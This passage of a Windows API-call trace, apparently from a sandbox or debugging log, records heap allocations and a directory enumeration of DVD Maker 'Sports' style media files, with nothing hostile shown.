returned 1 [0245.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.404] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928040 [0245.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93a9e8 [0245.404] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.404] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0245.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.404] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.404] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928060 [0245.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93aaf0 [0245.404] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.404] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.404] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.404] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.404] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928080 [0245.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93abf8 [0245.405] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.405] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0245.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.405] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.405] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9280a0 [0245.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93ad00 [0245.405] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.405] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.405] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.405] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9280c0 [0245.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93ae08 [0245.405] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xec0) returned 0x93e4a8 [0245.405] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9349d8) returned 1 [0245.405] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.406] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1 [0245.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9280e0 [0245.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93af10 [0245.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.406] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928100 [0245.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93b018 [0245.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.406] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1 [0245.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.406] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.406] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928120 [0245.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93b120 [0245.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.407] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928140 [0245.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93b228 [0245.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.407] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1 [0245.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x926f28 [0245.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x928160 [0245.407] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x93b330 [0245.407] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x926f28) returned 1 [0245.407] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0 [0245.408] GetLastError () returned 0x12 [0245.408] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd660 [0245.408] FindClose (in: hFindFile=0x4fd4e0 | out: hFindFile=0x4fd4e0) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0245.408] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, 